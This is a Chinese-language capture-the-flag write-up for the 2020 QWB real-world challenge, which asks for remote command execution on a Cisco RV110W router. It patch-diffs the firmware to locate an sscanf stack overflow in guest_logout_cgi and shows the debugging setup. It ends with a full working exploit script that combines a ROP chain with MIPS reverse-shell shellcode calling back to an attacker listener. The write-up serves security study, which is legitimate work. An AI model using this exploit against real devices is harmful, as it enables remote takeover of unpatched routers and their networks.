前言
这是2020年QWB的RW赛题——思科RV110W路由器
关于题目信息如下:
要求对cisco RV110W 完成远程命令执行
漏洞点寻找
如果想全方位的了解路由器的整体服务的路由器代码框架可以看一看官方的源码或者文档
由于笔者英语不是很好就找了一篇分析文章进行观看。 常见嵌入式Web服务器CGI处理功能简要分析站在漏洞复现的角度,我们可以下载补丁过后的固件查看补丁的内容,从而确定漏洞点,方便我们分析。
官网找到版本之后发现1.2.2.5之后就只有1.2.2.8,下载下来
通过IDA Bindiff分析
通过分析DIff结果发现,改动较大的几个函数中发现比较可疑的有三个函数分别为SetWLSSIDCmd,guest_logout_cgi,SetWLWDSCMD这三个函数其中SetWLSSIDCmd,SetWLWDSCMD这两个函数是共性问题,system函数的参数是通过这两个函数的参数控制的,如下图:
如上图所示,这两个函数都是用到了system函数并且都在1.2.2.8版本中把system函数进行了删除,并且system函数的参数是通过SetWLSSIDCmd(),SetWLWDSCMD()这两个函数本身的参数控制的,只是通过交叉引用没用找到函数的调用地方,所以我们的重点放在guest_lot_cgi函数模块:
在guest_logout_cgi模块中也就是用户登出模块中把当中的scanf函数删掉换成了strncpy函数,sscanf函数是危险函数如果参数可控可能会造成溢出结果。我们通过IDA伪C代码对比查看scanf原格式化参数是什么,如下图所示:左边是1.2.2.5版本,右边是1.2.2.8版本
首先我们要了解sscanf的使用方法。
通过格式化说明我们的得知是将v11分成两部分给v36,v35具体如下:
v11="aaaa;name=keer\n";
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35);
v36="aaaa";
v35="keer";
题目的原函数代码如下:
int __fastcall guest_logout_cgi(int a1)
{
const char *v1; // $v0
int cgi; // $s0
char *i; // $s0
int v4; // $v1
const char *v5; // $s3
const char *v6; // $v0
int v7; // $s0
char *j; // $s0
int v9; // $v1
const char *v10; // $s2
const char *v11; // $s4
FILE *v12; // $v0
FILE *v13; // $s0
FILE *v14; // $v0
FILE *v15; // $s0
char *v17; // $v0
int v18; // $a1
char *v19; // $a2
FILE *v20; // $v0
int v21; // $a1
int v22; // $a2
FILE *v23; // $s0
const char *v24; // $v0
int v25; // $s1
const char *v26; // $v0
int v27; // $a1
int v28; // $a2
FILE *v29; // $v0
FILE *v30; // $s0
const char *v31; // $a0
FILE *v32; // $v0
FILE *v33; // $s0
int v34[5]; // [sp+28h] [-98h] BYREF
char v35[64]; // [sp+3Ch] [-84h] BYREF
char v36[68]; // [sp+7Ch] [-44h] BYREF
cgi = get_cgi("cmac");
v1 = (const char *)get_cgi("cmac");
for ( i = (char *)(cgi + strlen(v1) - 1); get_cgi("cmac") < (unsigned int)i; *i-- = 0 )
{
v4 = *i;
if ( v4 != 10 && v4 != 13 && v4 != 32 )
break;
}
v5 = (const char *)get_cgi("cmac");
v7 = get_cgi("cip");
v6 = (const char *)get_cgi("cip");
for ( j = (char *)(v7 + strlen(v6) - 1); get_cgi("cip") < (unsigned int)j; *j-- = 0 )
{
v9 = *j;
if ( v9 != 10 && v9 != 13 && v9 != 32 )
break;
}
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v36, 0, 0x40u);
memset(v35, 0, sizeof(v35));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
v17 = strstr(v11, "status_guestnet.asp");
v19 = v36;
if ( !v17 )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35);
v20 = fopen("/dev/console", "w");
v23 = v20;
if ( v20 )
{
fprintf(
v20,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
v11,
v36,
v35);
fclose(v23);
}
v24 = (const char *)nvram_get("session_key", v21, v22);
if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
{
LABEL_31:
v26 = (const char *)nvram_get("http_client_mac", v18, v19);
if ( v26 && strcmp(v26, v5)
|| (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
{
v29 = fopen("/dev/console", "w");
v30 = v29;
if ( v29 )
{
fprintf(
v29,
"\n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s], submit_button=[%s]\n",
"guest_logout_cgi",
5457,
v5,
v10,
v11);
fclose(v30);
}
goto LABEL_35;
}
v25 = 0;
}
syslog(6, "The mac is %s and IP is %s of guest network user logout.", v5, v10);
if ( debug )
{
v32 = fopen("/dev/console", "w");
v33 = v32;
if ( v32 )
{
fprintf(v32, "%s(): \n mac=[%s], ip=[%s], submit_button=[%s]\n", "guest_logout_cgi", v5, v10, v11);
fclose(v33);
}
}
v34[0] = (int)"/sbin/cron_gn";
v34[1] = (int)&byte_485FE4;
v34[2] = (int)v5;
v34[3] = (int)v10;
v34[4] = 0;
eval(v34, ">/dev/console", 0, 0);
if ( v25 && !strcmp(v36, "status_guestnet.asp") )
{
LABEL_36:
if ( strlen(v36) < 6 )
do_ej(v11, a1);
else
do_ej(v36, a1);
return 0;
}
LABEL_35:
if ( strcmp(v11, "login_guest.asp") )
return 0;
goto LABEL_36;
}
v14 = fopen("/dev/console", "w");
v15 = v14;
if ( v14 )
{
fprintf(
v14,
"\n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
"guest_logout_cgi",
5442,
v5,
v10,
v11);
fclose(v15);
}
}
return 0;
}
我们可以看到v11是通过cgi应用的get_cgi函数得到的
v11 = (const char *)get_cgi("submit_button");
int __fastcall get_cgi(int a1)
{
int result; // $v0
int v2[4]; // [sp+20h] [-10h] BYREF
result = dword_4D8090;
if ( dword_4D8090 )
{
v2[1] = a1;
hsearch_r(a1, v2[2], 0, v2, &dword_4D8090);
result = v2[0];
if ( v2[0] )
return *(_DWORD *)(v2[0] + 4);
}
return result;
}
可以看的出来get_cgi函数是用来获取哈希表里数据的函数,这个表单是程序处理post参数时完成设定的。也就是说v11的值也就是geust_logout.cgi的post 参数对照的内容,我们可以通过设定它的值,造成栈溢出漏洞,进行利用。
漏洞利用
准备调试环境
首先准备调试工具,把和自己自己编译好的mips gdbserver上传到路由器上。
首先查看本机的IP地址
然后我们在本机上搭建一个简单的python web服务器
python -m SimpleHTTPServe
使用telnet远程连接到路由器上用户:admin, 密码Admin123,然后再把gdbserver下载到路由器的tmp目录下
开始调试
查看httpd的pid 并且用gdbserver附加上去
chmod +x gdbserver
./gdbserver :1234 --attach 348
Attached; pid = 348
Listening on port 1234
Remote debugging from host 192.168.1.100
本机上远程连接
gdb-multiarch -q ../squashfs-root/usr/sbin/httpd \
-ex "target remote 192.168.1.1:1234" \
-ex "b *0x431bb4" \
-ex "b *0x431bb8" \
-ex "b *0x431B34" \
-ex "c"
用测试脚本伪造好post 参数submit_button 进行调试,并且断在sscanf函数附近和函数返回处
import requests
import argparse
from pwn import *
payload = "status_guestnet.aspa" +"a"*0x100
url = "https://192.168.1.1/guest_logout.cgi"
burp0_headers = {"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"cmac": "00:01:02:03:04:05",
"cip": "192.168.1.100",
"submit_button": payload}
requests.post(url, headers=burp0_headers, data=burp0_data, verify=False, timeout=5)
运行到函数返回
可以算出偏移为0x55,我们可以观察寄存器信息 并且利用 IDA mipsrop插件去寻找gadget,利用寄存器上的栈地址并且在栈上写上shellcode,并且跳转上去。
由于程序上的地址为0x00xxxxxx有'\x00'截断,所以不能用程序的gadget所以我们把目标指向libc。因为在实际运行中并没有PIE,所以说 libc的基址不变只需要gdb调试抓取即可。
因此libc_base=0x2af98000,然后我们讲libc拖入ida利用mipsrop找到gadget,在找到反弹shell的gadget构建payload即可
.text:00431B34 lw $ra, 0xC0+var_s24($sp)
.text:00431B38 lw $fp, 0xC0+var_s20($sp)
.text:00431B3C lw $s7, 0xC0+var_s1C($sp)
.text:00431B40 lw $s6, 0xC0+var_s18($sp)
.text:00431B44 lw $s5, 0xC0+var_s14($sp)
.text:00431B48 lw $s4, 0xC0+var_s10($sp)
.text:00431B4C lw $s3, 0xC0+var_sC($sp)
.text:00431B50 lw $s2, 0xC0+var_s8($sp)
.text:00431B54 lw $s1, 0xC0+var_s4($sp)
.text:00431B58 lw $s0, 0xC0+var_s0($sp)
.text:00431B5C move $v0, $zero
.text:00431B60 jr $ra
我们可以通过函数结尾的汇编代码去设置 ra(返回地址)和s0~$s7等寄存器,来实现来回跳转我们发现程序返回的时候后只有 sp寄存器上有stack的地址,所以我们要利用sp去设置其他寄存器在libc找到了下面的一条rop来设置a0寄存器,然后再跳转到a0寄存器上就可以实现shellcode的执行
shellcode可以在http://shell-storm.org/shellcode/直接找到
利用脚本
from pwn import *
import thread,requests
port=0x1337
ip='192.168.1.100'
ip_list=ip.split('.')
io=listen(port)
libc=0x2af98000
mv_a0_sp=0x000257A0+libc
jmp_a0 =0x0003D050+libc
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01"
stg3_SC += p16(port-0x100)[1:]+p16(port-0x100)[:1]
stg3_SC += "\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf"
stg3_SC += p8(int(ip_list[2]))+p8(int(ip_list[3]))
stg3_SC += "\x05\x3c"
stg3_SC += p8(int(ip_list[0]))+p8(int(ip_list[1]))
stg3_SC += "\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
payload = "status_guestnet.asp"+"a"*0x31+p32(jmp_a0)+"a"*0x20+p32(mv_a0_sp)+'b'*0x18+stg3_SC
url = "https://192.168.1.1/guest_logout.cgi"
burp0_data = {"cmac": "12:22:22:33:44:55",
"submit_button":payload,
"cip": "192.168.1.1"}
def attack():
try: requests.post(url, data=burp0_data, verify=False,timeout=1)
except: pass
thread.start_new_thread(attack,())
io.wait_for_connection()
io.interactive()
利用结果
参考链接
[1] https://www.jianshu.com/p/a2e9b6029a57
[3] https://blog.csdn.net/YouTheFreedom/article/details/120362103
[4] https://blog.51cto.com/yang/4244030#sscanf_81
[5] https://xy2401.com/local-docs/gnu/manual.zh/libc/Hash-Search-Function.html
[7] https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/